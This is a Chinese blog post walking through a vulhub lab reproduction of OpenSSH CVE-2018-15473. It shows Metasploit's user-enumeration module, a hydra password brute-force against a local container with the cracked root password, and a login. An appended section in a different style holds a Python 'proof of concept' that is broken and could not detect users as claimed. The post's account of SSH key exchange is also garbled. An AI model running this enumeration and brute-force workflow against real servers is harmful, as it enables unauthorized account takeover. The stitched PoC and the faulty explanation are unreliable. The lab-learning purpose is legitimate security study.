【vulhub】openssh CVE-2018-15473漏洞复现

0x00 漏洞简介

ssh工作机制:服务器启动的时候自己产生一个密钥(768bit公钥),本地的ssh客户端发送连接请求到ssh服务器,服务器检查连接点客户端发送的数据和IP地址,确认合法后发送密钥(768bits)给客户端,此时客户端将本地私钥(256bit)和服务器的公钥(768bit)结合成密钥对key(1024bit),发回给服务器端,建立连接通过key-pair数据传输。
攻击者可以尝试使用格式错误的数据包(例如,截断的数据包)对用户进行身份验证,并且:
·如果用户无效(不存在),则 userauth_pubkey()立即返回,服务器发送 SSH2_MSG_USERAUTH_FAILURE到攻击者;
·如果用户有效(它存在),则 sshpkt_get_u8() 失败,服务器调用 fatal() 并关闭与攻击者的连接;
由于SSH本身的认证机制存在缺陷,导致攻击者可以使用字典,暴力枚举SSH存在的用户名(Username)

0x01 影响版本

OpenSSH < 7.7

0x02 复现环境

vulhub在kali本机启动openssh环境,ip为:127.0.0.1
流程:
1.先采用msf中的ssh scanner模块进行探测
2.存在在用scanner进行指定用户名进行枚举
3.然后采用hydra(九头蛇)对存在用户进行ssh密码字典爆破

0x03 漏洞复现

1.开启靶场

cd /.../vulhub/openssh/CVE-2018-15473   # 进入vulhub靶场文件目录
docker-compose up -d    # 启动靶场环境
docker ps -a    # 查看容器启动环境

2.漏洞探测

msfconsole                         # 开启msf
search ssh_enum    		 # 查找ssh 枚举模块
use auxiliary/scanner/ssh/ssh_enumusers   #使用ssh探测模块
options       # 查看使用该模块需要设置参数列表    
set ....         # 设置相应参数
先不进行USER_FILE参数设置查看是否存在ssh用户枚举
存在进行ssh用户名枚举

3.hydra进行ssh密码爆破

hydra暴力破解ssh服务器密码-LMLPHP
-R  继续上一次进度破解
-S 采用SSL连接
-s PORT  指定非默认端口
-l  LOGIN 指定要破解的用户
-L FILE   指定用户名字典破解
-P FILE  指定要使用的密码字典破解
-C FILE 使用冒号分割的格式,如“login:pass”来替代-L/-P参数
-t TASKS  同时运行的线程数量
-w TIME  设置最大超时时间,单位秒

执行hydra爆破
hydra -l root -P /usr/share/wordlists/metasploit/ssh_passwd.txt  -v -t 10 ssh://127.0.0.1:20022
爆破成功显示账户密码
[20022][ssh] host: 127.0.0.1   login: root   password: vulhub

4.测试连接

ssh root@127.0.0.1 -p 20022
然后输入root用户密码vulhub
连接成功
### CVE-2018-15473 漏洞复现 #### 环境准备 为了成功复现CVE-2018-15473漏洞,需先搭建相应的实验环境。此过程涉及安装特定版本的OpenSSH服务端软件以及配置必要的网络参数。 对于该漏洞的影响范围涵盖了多个版本的OpenSSH,在某些情况下可能还包括其他依赖组件。具体受影响的版本列表可以在官方公告中找到[^3]。 #### 实验步骤概述 在完成上述准备工作之后,可以通过向目标主机发送特制的身份验证请求来触发漏洞行为: 当攻击者尝试利用这个漏洞时,会构造并发送一个不完整的`userauth_pubkey`消息给SSH服务器。根据服务器响应的不同,可以推断出所试探的用户名是否存在。如果收到的是`SSH2_MSG_USERAUTH_FAILURE`消息,则表示该用户不存在;反之,若连接被突然终止,则意味着存在这样的账户。 #### POC (Proof of Concept) 编写 下面是一个简单的Python脚本用于检测潜在的有效用户名: ```python import socket from paramiko import message, packet def check_user(target_ip, port=22, username='test'): try: sock = socket.socket() sock.connect((target_ip, int(port))) m = message.Message() p = packet.Packet(m) payload = ( b'\x00\x00\x00\x0f' + b'ssh-userauth' + b'\x00\x00\x00\x0b' + bytes(username.encode()) + b'\x00\x00\x00\x0c' + b'ssh-connection' ) p.add_string(payload) data = p.get_payload() sock.send(data) response = sock.recv(1024).strip() if not response or len(response)<6 : print(f"[+] Possible valid user found: {username}") else: print("[!] User does NOT exist") sock.close() except Exception as e: print(e) if __name__ == '__main__': target_ip = '192.168.1.100' # Replace with your test machine IP address usernames_to_test = ['admin', 'root'] # List of potential users to enumerate for u in usernames_to_test: check_user(target_ip=target_ip, username=u) ``` 请注意,以上代码仅为学习目的编写,并不应应用于任何未经授权的系统上进行测试或攻击活动。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值